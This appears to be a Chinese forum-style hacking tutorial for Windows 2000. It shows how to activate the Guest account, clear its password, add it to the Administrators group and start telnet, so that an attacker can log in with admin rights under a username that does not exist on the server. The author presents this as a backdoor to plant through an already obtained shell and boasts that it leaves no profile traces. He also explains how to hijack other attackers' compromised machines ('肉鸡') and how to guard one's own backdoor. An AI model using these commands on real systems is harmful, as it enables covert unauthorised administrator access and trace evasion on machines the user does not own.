从上面的解释中我们不难看到来宾帐户是可以匿名的。这也就是说,如果来宾帐户被开放了的话,就可以使用本系统中并不存在的用户进行匿名IPC连接,当然也包括telnet了。所以我们想要绕过NTLM认证方式,我们完全可以从来宾帐户入手:
首先我们将默认禁用的来宾帐户Guest激活,并清空其账号密码,在CMD下的命令是 net user Guest /active:yes 和net user Guest "" ;然后将其加入Administrators组,在CMD下的命令是 net localgroup administrators Guest /add ;最后我们就可以用除服务器上存在的用户名为名的其他账号开启CMD环境,再在这个环境下telnet,一样可以登陆上。和首先说的第五种方法相比较,就不难发现,首先说的第五种方法是需要知道服务器中存在的Admin账户及密码为前提的,而我说的这种方法则是刚好和他相反,可以使用服务器中不存在的账户。
以下是简单的实践过程:测试环境为2台win2k Professional,其中一台是用VMware虚拟的,IP是192.168.0.112,另外一台是系统本身,IP是192.168.0.111。
1.在虚拟的服务器端上执行
net user Guest "" /*清空Guest账号的密码*/
net user Guest /active:yes /*激活Guest账号*/
net localgroup administrators Guest /add /*将Guest账号加入管理员组*/
net start telnet /*打开telnet服务*/
这里为了方便我是直接在虚拟机192.168.0.112中直接执行的,大家也可以在获得的有权限的shell后门中执行这些命令。如图一:
2.客户端执行
net user mix /add /*在本地建立一服务器中不存在的空密码账户*/
runas /profile /user:mix cmd /*以mix的身份打开一新的CMD窗口*/
在192.168.0.111上执行上述这些命令,如图二。
3.最后在客户端新开的CMD窗口中我们就可以直接登陆服务器192.168.0.112了,如图三。
简单分析一下我这种方法和网上流传的几种方法的差别。除上述的第三种方法外的其他方法,都必须要有服务器端一个Admin账户和密码,如果不知道当然也可以想办法用其他方式在服务器上自己建一个。但关键的是这些方法要么需要IPC连接,要么需要启动WMI服务。我的方法和第三、第五种方法的前提条件有点相似,但只需要一个有添加adminstartors组组员权限的shell就可以办到了。而且用我的方法telnet上去(使用3389终端连接没有条件测试,有兴趣的朋友可以自己试试)之后,都不会像用其他方法登陆上去一样,在Documents and Settings文件夹下建立相应账户的用户的配置文件,省去了擦PP的辛苦~~~呵呵,懒人!
好了,让我们再想想看,还有什么可以利用的。对,我们应该想到克隆!很多人都喜欢将自己肉鸡中的Guest账户克隆成administrator,这样一来,就相当于将Guest激活并加入了administrators工作组,这和我们刚才所做的手续功效基本吻合。由此可见,只要有人将自己肉鸡的Guest账户克隆并且没有给Guest设置密码的话,我们就可以用该肉鸡中不存在的用户名进行IPC连接或者是telnet上去,我们的权限绝对是admin,要谢谢这些仁兄了~~~呵呵。怎样做才可以防止别人这样抢占我们的劳动成果呢?很简单,为我们的Guest账户设上强壮的密码,这样的话在匿名登陆的时候,除非所使用的账号的密码和我们设置的密码相同,否则将不能够通过验证。设置Guest账号密码在CMD环境下的命令是:net user guest “password” 其两个引号中的字符便是你想要设置的密码。